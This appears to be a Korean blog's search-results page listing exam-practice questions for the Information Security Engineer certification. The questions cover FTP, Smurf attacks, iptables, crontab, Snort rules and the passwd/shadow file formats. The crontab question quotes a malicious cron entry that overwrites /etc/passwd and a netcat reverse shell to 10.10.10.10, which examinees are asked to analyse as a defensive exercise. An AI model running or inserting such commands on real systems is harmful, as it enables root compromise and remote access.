보안/정보보안기사 검색 결과
36 개의 검색 결과가 있습니다.
보안/정보보안기사

FTP 정보보안기사실기 문제모음

정보보안기사실기 9회 14. 다음은 어떤 서버와 클라이언트가 FTP통신을 하는 절차를 나타낸 것이다. 클라이언트가 서버에 접속이 되었는데 파일이 보이지 않는 현상이 있다. 물음에 답하시오. ----------1) 그림의 FTP동작 모드는 무엇인가?2) 서버의 20, 21포트의 역할은 무엇인가?3) 클라이언트에서 서버의 파일이 보이지 않는 이유는 무엇인가?4) 3번과 같은 경우 클라이언트 단에서 해주어야 할 조치는 무엇인가?----------정답확인 : http://q.fran.kr/문제/9731 10회 2. FTP 동작 방식에 대하여 아래 빈칸을 채우시오.----------FTP는 ( A ) 모드와 수동(passive)모드가 있다.( A )는 통신 제어를 위한 ( B ) 포트와 데이터 전송을 위한 ( C..

2020. 7. 10. 09:11
보안/정보보안기사

Smurf 정보보안기사 실기 문제모음

7회 11. 스머프(Smurf) 공격은 ICMP 프로토콜의 취약점을 이용한 서비스 거부 공격이다.----------1) 공격 원리를 서술하시오.2) 방화벽 없이 공격을 막을 수 있는 방법을 설명하시오.----------정답확인 : http://q.fran.kr/문제/9760 9회 2. 다음은 스머프(Smurf) 공격에 대한 설명이다. 빈칸을 채우시오.----------ㅇ 여러 호스트에 특정 대상을 출발지로 ( A ) 를 보내 하여 서비스거부(DoS)를 유발시키는 보안공격ㅇ 소스 주소를 공격 대상 호스트로 위조한 ICMP 패킷을 브로드캐스트하면 근처의 호스트가 다량의 ( B )를 발생시킨다.----------정답확인 : http://q.fran.kr/문제/9719 10회15. 다음 패킷 덤프 결과를 보고 ..

2020. 7. 10. 09:02
보안/정보보안기사

iptable 정보보안기사 실기 문제모음

10회 13. iptables에서 -j옵션중에 DROP과 REJECT가 있다. 관련하여 아래 질문에 답하시오.----------(1) DROP의 동작 방식(2) REJECT의 동작 방식(3) 보안적 관점에서 둘 중에 어느 것이 유리한가? 이유는?----------정답확인 : http://q.fran.kr/문제/9714

2020. 7. 10. 08:59
보안/정보보안기사

crontab 정보보안기사 실기 문제모음

7회 14. 웹서버를 점검하던 중 cron에 새로운 작업이 등록된 것을 확인하였다. 다음 cron 작업들이 root권한으로 실행될 경우 발생할 수 있는 위험에 대해 설명하시오.----------0 0 6 * * root /bin/cp /tmp/passwd1 /etc/passwd0 0 12 * * root /usr/bin/nc 10.10.10.10 80 -e /bin/bash----------정답확인 : http://q.fran.kr/문제/9763 8회 15. crontab은 리눅스에서 정해진 시간에 작업이 실행되도록 스케줄링하는 유틸리티 프로그램이다. crontab에 대한 아래 질문에 답하시오.----------1) 현재 스케줄링 되어있는 작업되어 있는 내용을 보는 명령어는?2) SIS 계정의 cront..

2020. 7. 10. 08:54
보안/정보보안기사

Snort 정보보안기사 실기문제모음

3회 5. “/administrator” 라는 문자열이 포함되어 있는 경우 “Web Scan Detected”란 메시지 로깅을 위한 Snort rule은 각각 무엇인가?----------Alert tcp any any -> 192.168.0.1 ( A ) ( ( B ) : “/administrator; ( C ): “Web Scan Detected”;)----------정답확인: http://q.fran.kr/문제/9823/ 4회 14. 다음 보기를 보고 문제점과 해결방안을 제시하시오.----------tcp any any -> any any PCRE(/^POST.*Content\x2dLength\x2a\x20evilstring) 1) 해당 Rule은 어떤 문제점을 가지고 있는가?2) 해결방안은 무엇인가..

2020. 7. 10. 08:53
보안/정보보안기사

/etc/passwd /etc/shadow 필드

/etc/passwd 사용자들의 기본적인 정보가 저장되어 있는 파일 총 7개의 필드로 이루어져 있다. root : x : 0 : 0 : root : /root : /bin/bash ① ② ③ ④ ⑤ ⑥ ⑦ ① root : 사용자명(ID)② x : 패스워드. x로 되어 있는건 /etc/shadow파일에 암호화하여 저장되어 있다는 뜻이다.③ 0 : 사용자 계정 uid④ 0 : 사용자 계정 gid⑤ root : 사용자 계정 이름(정보)⑥ /root : 사용자 계정 홈 디렉토리⑦ /bin/bash : 사용자 계정 로그인 쉘 /etc/shadow itwiki : $6$7sqr8$b6...Qk0t/ : 17132 : 0 : 99999 : 7 : : : ① ② ③ ④ ⑤ ⑥ ⑦⑧⑨ 총 9개의 필드로 이루어져 있다.①..

2020. 7. 5. 22:41